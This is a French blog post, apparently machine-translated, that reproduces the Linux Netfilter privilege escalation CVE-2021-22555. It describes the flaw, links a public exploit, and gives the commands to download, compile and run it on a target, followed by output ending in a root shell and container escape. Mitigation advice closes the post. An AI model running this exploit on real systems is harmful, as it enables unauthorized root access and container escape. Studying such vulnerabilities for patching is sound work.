CVE Vulnerability Reappearance-CVE-2021-22555 Linux Netfilter Privilege Escalation Vulnerability

CVE-2021-22555 Vulnérabilité d'escalade de privilèges Linux Netfilter

Description de la vulnérabilité

Récemment, Internet a publié le POC et l'EXP de la vulnérabilité d'escalade de privilèges Linux Netfilter, ainsi que le numéro CVE associé : CVE-2021-22555. Cette vulnérabilité est utilisée dans kCTF pour attaquer le conteneur de pod kubernetes afin d'échapper à la virtualisation. Cette vulnérabilité existe dans le code du noyau Linux depuis 15 ans. Netfilter est un sous-système introduit par Linux 2.4.x. Il sert de cadre général et abstrait , fournissant un ensemble complet de mécanismes de gestion des fonctions de crochet, ce qui permet le filtrage des paquets de données, la traduction d'adresses réseau (NAT) et le suivi des connexions en fonction du type de protocole. Il existe une vulnérabilité d'écriture hors limites du tas lorsque le module Linux Netfilter implémente IPT_SO_SET_REPLACE (ou IP6T_SO_SET_REPLACE) setsockopt, et les attaquants locaux peuvent utiliser cette vulnérabilité pour obtenir une élévation de privilèges.

Risque de vulnérabilité

Les attaquants peuvent exploiter cette vulnérabilité pour l'élévation des privilèges locaux et l'évasion du conteneur

Impact sur la vulnérabilité

Une vulnérabilité affectant toutes les versions du noyau Linux de 2006 (version du noyau Linux v2.6.19-rc1) à aujourd'hui (noyau Linux v5.12-rc8), qui peut entraîner une élévation des privilèges locaux et une fuite du conteneur

Récurrence de la vulnérabilité

Adresse de téléchargement EXP :https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555

Téléchargez EXP sur la machine cible, exécutez les commandes suivantes pour compiler et élever les privilèges

gcc -m32 -static -o exploit exploit.c
./exploit
theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
theflow@theflow:~$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: ffc
[+] real_idx: fc4

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff91a49cb7f000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff91a49c7a0000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000

[+] STAGE 4: Kernel code execution
[*] Spraying fake pipe_buffer objects...
[*] Releasing pipe_buffer objects...
[*] Checking for root...
[+] Root privileges gained.

[+] STAGE 5: Post-exploitation
[*] Escaping container...
[*] Cleaning up...
[*] Popping root shell...
root@theflow:/# id
uid=0(root) gid=0(root) groups=0(root)
root@theflow:/#

Corrections de bogues

1. Suggestions de réparation des vulnérabilités
Il est recommandé aux utilisateurs concernés de mettre à jour le noyau Linux vers une version sûre à temps

2. Mesures d'atténuation temporaires :
selon la suggestion de RedHat, les utilisateurs peuvent utiliser les commandes suivantes pour empêcher les utilisateurs non privilégiés d'exécuter CLONE_NEWUSER et CLONE_NEWNET afin d'atténuer l'impact de cette vulnérabilité :

echo 0 > /proc/sys/user/max_user_namespaces 

Supongo que te gusta

Origin blog.csdn.net/qq_64973687/article/details/132186009
Recomendado
Clasificación